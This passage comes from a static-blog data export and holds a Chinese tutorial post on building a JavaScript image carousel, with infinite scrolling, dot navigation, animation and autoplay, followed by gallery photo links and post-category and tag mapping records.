src=&quot;./img/1.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/2.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/3.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/4.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/5.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/1.jpg&quot; alt=&quot;&quot;&gt;\n  &lt;/div&gt;\n</code></pre>当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽<pre><code>if (newList &lt; -1000) {\n        dot = 1\n        list.style.left = -200 + &#39;px&#39;\n      }\n      if (newList &gt; -200) {\n        dot = 5\n        list.style.left = -1000 + &#39;px&#39;\n      }\n</code></pre></li>\n</ul>\n<h3 id=\"小按钮切换\"><a href=\"#小按钮切换\" class=\"headerlink\" title=\"小按钮切换\"></a>小按钮切换</h3><p>这要实现的思想有</p>\n<ul>\n<li>点了小按钮，背景色会变</li>\n<li>当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色</li>\n</ul>\n<pre><code>function showBtn() {\n        for (var i = 0; i &lt; btns.length; i++) {\n          if (btns[i].className == &#39;show-btn&#39;) {\n            btns[i].className = &#39;&#39;\n            break\n          }\n        }\n        btns[dot-1].className = &#39;show-btn&#39;\n      }\n//遍历数组，将有该属性设为空\n\nfor (var i = 0; i &lt; btns.length; i++) {\n        btns[i].onclick = function () {\n          if (this.className == &#39;showBtn&#39;) {\n            return\n          }\n          var myIndex = parseInt(this.getAttribute(&#39;index&#39;))\n          var leng = -200 * (myIndex - dot)\n          animate(leng)\n          dot = myIndex\n          showBtn()\n        }\n      }\n//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离 \n</code></pre><blockquote>\n<p>这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu</p>\n</blockquote>\n<h3 id=\"延迟动画函数\"><a href=\"#延迟动画函数\" class=\"headerlink\" title=\"延迟动画函数\"></a>延迟动画函数</h3><p>就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理</p>\n<ul>\n<li><p>首先，定义参数</p>\n<pre><code>var time = 300  //位移总时间\nvar interval = 10  //位移时间间隔\nvar speed = leng/(time/interval)  //每次位移量，就是一共调用多少次的意思\n</code></pre></li>\n<li><p>设置递归函数</p>\n<pre><code>if ((speed &lt; 0 &amp;&amp; parseInt(list.style.left) &gt; newList) || (speed &gt; 0 &amp;&amp; parseInt(list.style.left) &lt; newList)) {\n          list.style.left = parseInt(list.style.left) + speed + &#39;px&#39;\n          setTimeout(go, interval)  //递归,调用自身函数\n</code></pre></li>\n<li><p>判断是否仍在动画<br>如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止<br><code>`</code><br>var animated = false   //设初值</p>\n</li>\n</ul>\n<p>if(!animated) {<br>  animate(200)<br>}    //如果为false，则继续动画</p>\n<pre><code>\n### 自动播放\n首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放\n* 我们设两个函数，play（） 和 stop（） \n</code></pre><p>function play() {<br>        timer = setTimeout(function() {<br>          next.onclick()<br>          play()<br>        },interval)<br>      }<br>      function stop() {<br>        clearTimeout(timer)<br>      }<br><code>`</code><br>给整个 container 容器添加该鼠标事件</p>\n<p>这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦…</p>\n<blockquote>\n<p>改天再研究下旋转木马的那种装个13…</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<blockquote>\n<p>小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的…</p>\n</blockquote>\n<p>首先我大概讲一下，传统轮播图的主要部分：</p>\n<ul>\n<li>图片（废话）</li>\n<li>左右两边的button</li>\n<li>可以跳转的小点<br><a href=\"http://jzxer.cn/card/\" target=\"_blank\" rel=\"noopener\">demo</a></li>\n</ul>\n<h3 id=\"原理\"><a href=\"#原理\" class=\"headerlink\" title=\"原理\"></a>原理</h3><ul>\n<li>轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转</li>\n</ul>\n<h3 id=\"无限滚动\"><a href=\"#无限滚动\" class=\"headerlink\" title=\"无限滚动\"></a>无限滚动</h3><ul>\n<li>我给两个按钮设为 <b>prev next</b> 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：<pre><code>&lt;div id=&quot;list&quot; style=&quot;left:-200px&quot;&gt;\n    &lt;img src=&quot;./img/5.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/1.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/2.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/3.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/4.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/5.jpg&quot; alt=&quot;&quot;&gt;\n    &lt;img src=&quot;./img/1.jpg&quot; alt=&quot;&quot;&gt;\n  &lt;/div&gt;\n</code></pre>当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽<pre><code>if (newList &lt; -1000) {\n        dot = 1\n        list.style.left = -200 + &#39;px&#39;\n      }\n      if (newList &gt; -200) {\n        dot = 5\n        list.style.left = -1000 + &#39;px&#39;\n      }\n</code></pre></li>\n</ul>\n<h3 id=\"小按钮切换\"><a href=\"#小按钮切换\" class=\"headerlink\" title=\"小按钮切换\"></a>小按钮切换</h3><p>这要实现的思想有</p>\n<ul>\n<li>点了小按钮，背景色会变</li>\n<li>当点击切换到其他按钮，图片切换，且上一个按钮会变回原来的颜色</li>\n</ul>\n<pre><code>function showBtn() {\n        for (var i = 0; i &lt; btns.length; i++) {\n          if (btns[i].className == &#39;show-btn&#39;) {\n            btns[i].className = &#39;&#39;\n            break\n          }\n        }\n        btns[dot-1].className = &#39;show-btn&#39;\n      }\n//遍历数组，将有该属性设为空\n\nfor (var i = 0; i &lt; btns.length; i++) {\n        btns[i].onclick = function () {\n          if (this.className == &#39;showBtn&#39;) {\n            return\n          }\n          var myIndex = parseInt(this.getAttribute(&#39;index&#39;))\n          var leng = -200 * (myIndex - dot)\n          animate(leng)\n          dot = myIndex\n          showBtn()\n        }\n      }\n//遍历数组，将每一个小按钮设了个index属性，这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性，获取index值，点击时得到当前的index值，正好和当前的dot值相减，可得跳转的距离 \n</code></pre><blockquote>\n<p>这里要注意的是，当小按钮被重复按的时候，给他一个判断，不然重复点击同一个图标会重复发生相同事件，占内存，耗cpu</p>\n</blockquote>\n<h3 id=\"延迟动画函数\"><a href=\"#延迟动画函数\" class=\"headerlink\" title=\"延迟动画函数\"></a>延迟动画函数</h3><p>就是当用户点击时，有一个慢慢偏移的过程，而不是闪现的动作，我们来看看实现原理</p>\n<ul>\n<li><p>首先，定义参数</p>\n<pre><code>var time = 300  //位移总时间\nvar interval = 10  //位移时间间隔\nvar speed = leng/(time/interval)  //每次位移量，就是一共调用多少次的意思\n</code></pre></li>\n<li><p>设置递归函数</p>\n<pre><code>if ((speed &lt; 0 &amp;&amp; parseInt(list.style.left) &gt; newList) || (speed &gt; 0 &amp;&amp; parseInt(list.style.left) &lt; newList)) {\n          list.style.left = parseInt(list.style.left) + speed + &#39;px&#39;\n          setTimeout(go, interval)  //递归,调用自身函数\n</code></pre></li>\n<li><p>判断是否仍在动画<br>如果用户一直在点击切换图时，如果电脑配置不好，或是其他一些因素，可能会轮播卡顿，为了防止这一现象，就用一个判断来看上一次动画是否完成，若未完成就不能继续切换，等到这次动画跳转完为止<br><code>`</code><br>var animated = false   //设初值</p>\n</li>\n</ul>\n<p>if(!animated) {<br>  animate(200)<br>}    //如果为false，则继续动画</p>\n<pre><code>\n### 自动播放\n首先给个思路，当鼠标移入的时候，自动播放停止，移出的时候开始自动播放\n* 我们设两个函数，play（） 和 stop（） \n</code></pre><p>function play() {<br>        timer = setTimeout(function() {<br>          next.onclick()<br>          play()<br>        },interval)<br>      }<br>      function stop() {<br>        clearTimeout(timer)<br>      }<br><code>`</code><br>给整个 container 容器添加该鼠标事件</p>\n<p>这年头还是不能偷懒啊，说不定当时知道这个人家就把给我要了呢，好气哦…</p>\n<blockquote>\n<p>改天再研究下旋转木马的那种装个13…</p>\n</blockquote>\n"}],"PostAsset":[],"PostCategory":[{"post_id":"cjhiu2y1x0000vzqh9mizcgba","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y4e000hvzqhovlhdwwo"},{"post_id":"cjhiu2y2g0002vzqhkbczaphe","category_id":"cjhiu2y3w000bvzqh1q2cw49c","_id":"cjhiu2y4p000nvzqhzfd43v1m"},{"post_id":"cjhiu2y380006vzqhzzlsrm3e","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y4x000uvzqhlto71xm4"},{"post_id":"cjhiu2y3l0008vzqhsd1yzy4u","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y51000yvzqh8icdskfh"},{"post_id":"cjhiu2y4d000gvzqhizz1xr86","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y550014vzqhontqsmkx"},{"post_id":"cjhiu2y4z000xvzqhcgxkz270","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y570019vzqhgm4snr15"},{"post_id":"cjhiu2y520010vzqhk6w7jg8k","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y59001cvzqhvjvg3erk"},{"post_id":"cjhiu2y4i000kvzqhs58z74ay","category_id":"cjhiu2y51000zvzqh8av1zfga","_id":"cjhiu2y5b001gvzqh6eek3mre"},{"post_id":"cjhiu2y4o000mvzqh1y0fl86d","category_id":"cjhiu2y560017vzqhb9euinnl","_id":"cjhiu2y5h001kvzqhfzrlozgo"},{"post_id":"cjhiu2y4s000qvzqh4uxki9it","category_id":"cjhiu2y5a001evzqhbqd2lref","_id":"cjhiu2y5k001pvzqhd7u8gfc7"},{"post_id":"cjhiu2y4v000svzqhfc2d8xql","category_id":"cjhiu2y5h001lvzqh0lka6dsg","_id":"cjhiu2y5n001vvzqh5fpuja9r"},{"post_id":"cjhiu2y5m001uvzqh30eql1bb","category_id":"cjhiu2y560017vzqhb9euinnl","_id":"cjhiu2y5q0023vzqh0anrk78f"},{"post_id":"cjhiu2y4x000wvzqh5wsdc0fp","category_id":"cjhiu2y5k001qvzqh16jdyeqd","_id":"cjhiu2y5s0027vzqh4pqhhjnp"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y5t002avzqhjuklkrdg"},{"post_id":"cjhiu2y530013vzqhoq275rpx","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y5w002evzqhur08r105"},{"post_id":"cjhiu2y550016vzqhakpd8l4x","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y5y002ivzqhwlmxd912"},{"post_id":"cjhiu2y58001avzqh5zjapr8m","category_id":"cjhiu2y5k001qvzqh16jdyeqd","_id":"cjhiu2y61002nvzqh80pipu93"},{"post_id":"cjhiu2y5y002jvzqh2dz5r8my","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y65002svzqhjlx4r4j0"},{"post_id":"cjhiu2y59001dvzqhfd2a6ugy","category_id":"cjhiu2y5x002hvzqh38b5k9w1","_id":"cjhiu2y66002wvzqhc474pgnn"},{"post_id":"cjhiu2y5b001hvzqhe9qrbbx3","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y690031vzqhd653bg73"},{"post_id":"cjhiu2y5e001jvzqh1z3j6uxh","category_id":"cjhiu2y65002uvzqhqy41m590","_id":"cjhiu2y6d0038vzqhmz8qzsjq"},{"post_id":"cjhiu2y67002zvzqhkdpo52ep","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y6e003avzqh2ky2jqsm"},{"post_id":"cjhiu2y5i001nvzqhwg44uenr","category_id":"cjhiu2y65002uvzqhqy41m590","_id":"cjhiu2y6f003dvzqhnhvosqfu"},{"post_id":"cjhiu2y6d0039vzqhjzm7p6zl","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y6h003ivzqhy6xt1wne"},{"post_id":"cjhiu2y6e003bvzqh7pelmhc2","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y6k003mvzqhaqu0rceg"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","category_id":"cjhiu2y6c0037vzqhcc9m7clf","_id":"cjhiu2y6m003pvzqhbqc63wny"},{"post_id":"cjhiu2y6f003fvzqh6vctxntu","category_id":"cjhiu2y5a001evzqhbqd2lref","_id":"cjhiu2y6o003svzqhilxprsa7"},{"post_id":"cjhiu2y6h003hvzqh0r2wm1gx","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y6p003wvzqhpdugqi53"},{"post_id":"cjhiu2y5k001rvzqh0km67qow","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y6s003zvzqh3e87tn8b"},{"post_id":"cjhiu2y6j003lvzqh85o3oqaw","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y6t0042vzqhpp4hzfsb"},{"post_id":"cjhiu2y6l003ovzqh9uz0sno4","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y6u0045vzqhe8fgc0mp"},{"post_id":"cjhiu2y5p0020vzqhuvz7nsdh","category_id":"cjhiu2y6k003nvzqhm5n7oimd","_id":"cjhiu2y6w0048vzqh4z9b55i0"},{"post_id":"cjhiu2y6n003rvzqhap5y0j2h","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y6x004cvzqh0cse9h3j"},{"post_id":"cjhiu2y6o003vvzqh4mfu7rjy","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y70004fvzqhuxhhrtwq"},{"post_id":"cjhiu2y5q0022vzqh66naoyrb","category_id":"cjhiu2y6o003uvzqhw57whtpz","_id":"cjhiu2y71004ivzqhnwdtagw9"},{"post_id":"cjhiu2y6q003yvzqhp2sjc406","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y74004lvzqhhx9jixvg"},{"post_id":"cjhiu2y6t0041vzqh3j7aepzs","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y78004pvzqhg2buhdv0"},{"post_id":"cjhiu2y6u0044vzqhxyeq9c6d","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7a004tvzqheft8mr1v"},{"post_id":"cjhiu2y5s0026vzqh3l4mzrik","category_id":"cjhiu2y6s0040vzqh8meh1b45","_id":"cjhiu2y7d004xvzqhmto1ypt2"},{"post_id":"cjhiu2y6x004bvzqhbw63ijop","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y7f0050vzqhwdrjanpn"},{"post_id":"cjhiu2y5t0029vzqhw583ttnz","category_id":"cjhiu2y6o003uvzqhw57whtpz","_id":"cjhiu2y7i0053vzqhoo6fqubw"},{"post_id":"cjhiu2y6y004evzqh34hxppax","category_id":"cjhiu2y6k003nvzqhm5n7oimd","_id":"cjhiu2y7j0056vzqhrerddl8q"},{"post_id":"cjhiu2y70004hvzqhl3gvimif","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y7k0058vzqh89gwihmb"},{"post_id":"cjhiu2y5v002dvzqhe0h96l38","category_id":"cjhiu2y70004gvzqhxv0ow0jk","_id":"cjhiu2y7k0059vzqhli32f88u"},{"post_id":"cjhiu2y73004kvzqh379rff47","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y7l005dvzqhx77s3zkt"},{"post_id":"cjhiu2y5w002gvzqh5rqnj8nh","category_id":"cjhiu2y6o003uvzqhw57whtpz","_id":"cjhiu2y7l005fvzqhipa613y6"},{"post_id":"cjhiu2y79004svzqhv51fcrf9","category_id":"cjhiu2y4f000ivzqhgk3rc015","_id":"cjhiu2y7n005jvzqhv3j713td"},{"post_id":"cjhiu2y7b004wvzqhv2bdfz3v","category_id":"cjhiu2y2z0004vzqh0677nevh","_id":"cjhiu2y7o005lvzqh9u72926h"},{"post_id":"cjhiu2y60002mvzqhsqpr6e8g","category_id":"cjhiu2y70004gvzqhxv0ow0jk","_id":"cjhiu2y7o005ovzqhwxqs9q1x"},{"post_id":"cjhiu2y7d004zvzqh5wsxvrhi","category_id":"cjhiu2y5o001yvzqhhrgyfoeo","_id":"cjhiu2y7p005qvzqhzns0ke36"},{"post_id":"cjhiu2y7h0052vzqhg122vhhg","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7p005tvzqheur0jt8m"},{"post_id":"cjhiu2y62002pvzqhoull3bze","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7p005uvzqhbnhtqu8r"},{"post_id":"cjhiu2y7i0055vzqh7y2wbv2f","category_id":"cjhiu2y4w000tvzqh9jcy8ixq","_id":"cjhiu2y7p005vvzqhdjligv1z"},{"post_id":"cjhiu2y64002rvzqhud2atdh7","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7q005xvzqhppc52c1l"},{"post_id":"cjhiu2y66002vvzqhk94r54t2","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7q005yvzqh1znz3kqx"},{"post_id":"cjhiu2y690033vzqhjlas2gue","category_id":"cjhiu2y6g003gvzqh4212ugm1","_id":"cjhiu2y7r0060vzqhvl9me0w4"},{"post_id":"cjhiu2y6b0035vzqhzw3n5c1c","category_id":"cjhiu2y7o005mvzqh7csvrpz5","_id":"cjhiu2y7r0062vzqh5axzfzuk"},{"post_id":"cjhiu2y6v0047vzqhd0m1y4hb","category_id":"cjhiu2y7p005rvzqh2fwxn7ja","_id":"cjhiu2y7r0065vzqhizdmne4r"}],"PostTag":[{"post_id":"cjhiu2y1x0000vzqh9mizcgba","tag_id":"cjhiu2y370005vzqhjp35bn9e","_id":"cjhiu2y45000evzqhzhue87kq"},{"post_id":"cjhiu2y2g0002vzqhkbczaphe","tag_id":"cjhiu2y3w000cvzqhwongwlp5","_id":"cjhiu2y4m000lvzqh2vxl06xx"},{"post_id":"cjhiu2y380006vzqhzzlsrm3e","tag_id":"cjhiu2y4g000jvzqhiwd2ytf6","_id":"cjhiu2y4u000rvzqhnb2lr633"},{"post_id":"cjhiu2y3l0008vzqhsd1yzy4u","tag_id":"cjhiu2y4p000pvzqhr77abf6w","_id":"cjhiu2y530012vzqh32ffvi37"},{"post_id":"cjhiu2y3l0008vzqhsd1yzy4u","tag_id":"cjhiu2y4x000vvzqh642leae5","_id":"cjhiu2y550015vzqhfqg4hthd"},{"post_id":"cjhiu2y46000fvzqhufzi6xg9","tag_id":"cjhiu2y530011vzqhrsuk82xt","_id":"cjhiu2y59001bvzqhygmindw3"},{"post_id":"cjhiu2y4d000gvzqhizz1xr86","tag_id":"cjhiu2y560018vzqhlhiu47p3","_id":"cjhiu2y5d001ivzqhdmh8lmks"},{"post_id":"cjhiu2y4i000kvzqhs58z74ay","tag_id":"cjhiu2y5b001fvzqh1zmsialt","_id":"cjhiu2y5l001tvzqhx484iofc"},{"post_id":"cjhiu2y4i000kvzqhs58z74ay","tag_id":"cjhiu2y5i001mvzqhqlhjdlf3","_id":"cjhiu2y5n001wvzqh3fv6e4tn"},{"post_id":"cjhiu2y4o000mvzqh1y0fl86d","tag_id":"cjhiu2y5l001svzqh9wwljtda","_id":"cjhiu2y5p0021vzqhgpjuu4nd"},{"post_id":"cjhiu2y4s000qvzqh4uxki9it","tag_id":"cjhiu2y5o001zvzqht1oltfx9","_id":"cjhiu2y5t0028vzqh4l7l3w0b"},{"post_id":"cjhiu2y4v000svzqhfc2d8xql","tag_id":"cjhiu2y5r0025vzqh9tyb22rd","_id":"cjhiu2y5w002fvzqh61vkxh9n"},{"post_id":"cjhiu2y4x000wvzqh5wsdc0fp","tag_id":"cjhiu2y5u002cvzqhy4stz6md","_id":"cjhiu2y60002lvzqhrzzr85va"},{"post_id":"cjhiu2y4z000xvzqhcgxkz270","tag_id":"cjhiu2y4p000pvzqhr77abf6w","_id":"cjhiu2y65002tvzqhqp5tq218"},{"post_id":"cjhiu2y4z000xvzqhcgxkz270","tag_id":"cjhiu2y5z002kvzqhxua7qmf5","_id":"cjhiu2y66002xvzqh7ur805ji"},{"post_id":"cjhiu2y520010vzqhk6w7jg8k","tag_id":"cjhiu2y64002qvzqh39vf1c9y","_id":"cjhiu2y680030vzqhq51ykllb"},{"post_id":"cjhiu2y530013vzqhoq275rpx","tag_id":"cjhiu2y67002yvzqhrd3mqxfo","_id":"cjhiu2y6c0036vzqhh5p5k21h"},{"post_id":"cjhiu2y550016vzqhakpd8l4x","tag_id":"cjhiu2y6b0034vzqh7xqwpzwy","_id":"cjhiu2y6f003evzqhdyxkgvh2"},{"post_id":"cjhiu2y58001avzqh5zjapr8m","tag_id":"cjhiu2y5u002cvzqhy4stz6md","_id":"cjhiu2y6j003kvzqhg2nj101j"},{"post_id":"cjhiu2y59001dvzqhfd2a6ugy","tag_id":"cjhiu2y6h003jvzqh45mwh26z","_id":"cjhiu2y6o003tvzqhmzy7mwme"},{"post_id":"cjhiu2y5b001hvzqhe9qrbbx3","tag_id":"cjhiu2y6m003qvzqh4j5svvwy","_id":"cjhiu2y6v0046vzqh7ijzxjvc"},{"post_id":"cjhiu2y5b001hvzqhe9qrbbx3","tag_id":"cjhiu2y6q003xvzqh0zzf85z7","_id":"cjhiu2y6x004avzqh6hymno2m"},{"post_id":"cjhiu2y5e001jvzqh1z3j6uxh","tag_id":"cjhiu2y6u0043vzqhjqthjjjo","_id":"cjhiu2y74004mvzqhpy6l53dw"},{"post_id":"cjhiu2y5e001jvzqh1z3j6uxh","tag_id":"cjhiu2y6y004dvzqhxmr7chvf","_id":"cjhiu2y78004qvzqhqvyvxocg"},{"post_id":"cjhiu2y5i001nvzqhwg44uenr","tag_id":"cjhiu2y6u0043vzqhjqthjjjo","_id":"cjhiu2y7a004uvzqhtl91by3o"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","tag_id":"cjhiu2y78004rvzqhrmyzavzj","_id":"cjhiu2y7l005cvzqhoese7j6d"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","tag_id":"cjhiu2y7d004yvzqhssxabiia","_id":"cjhiu2y7l005evzqh0bw02fme"},{"post_id":"cjhiu2y5j001ovzqhe2vbu6w5","tag_id":"cjhiu2y7i0054vzqhjfky0itp","_id":"cjhiu2y7n005ivzqhyah1im6y"},{"post_id":"cjhiu2y5k001rvzqh0km67qow","tag_id":"cjhiu2y7k005avzqh3aftxq28","_id":"cjhiu2y7o005kvzqhjh1u6kfn"},{"post_id":"cjhiu2y5m001uvzqh30eql1bb","tag_id":"cjhiu2y7m005hvzqhs4zl712u","_id":"cjhiu2y7p005pvzqh7xde6t0a"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","tag_id":"cjhiu2y7o005nvzqhizzscqet","_id":"cjhiu2y7r0061vzqh35otakt1"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","tag_id":"cjhiu2y7p005svzqh4kv1gua0","_id":"cjhiu2y7r0063vzqhe0nz4t6z"},{"post_id":"cjhiu2y5n001xvzqhvh19qz8o","tag_id":"cjhiu2y7q005wvzqh73q1p5dz","_id":"cjhiu2y7r0066vzqh6k45indy"},{"post_id":"cjhiu2y5p0020vzqhuvz7nsdh","tag_id":"cjhiu2y7q005zvzqheqv5g84p","_id":"cjhiu2y7s0068vzqh6k2o2hm8"},{"post_id":"cjhiu2y5p0020vzqhuvz7nsdh","tag_id":"cjhiu2y7r0064vzqhypj4ik1v","_id":"cjhiu2y7s0069vzqhagzemfnr"},{"post_id":"cjhiu2y5q0022vzqh66naoyrb","tag_id":"cjhiu2y7s0067vzqhfan0bwdi","_id":"cjhiu2y7t006cvzqh7w6wwxpb"},{"post_id":"cjhiu2y5q0022vzqh66naoyrb","tag_id":"cjhiu2y7s006avz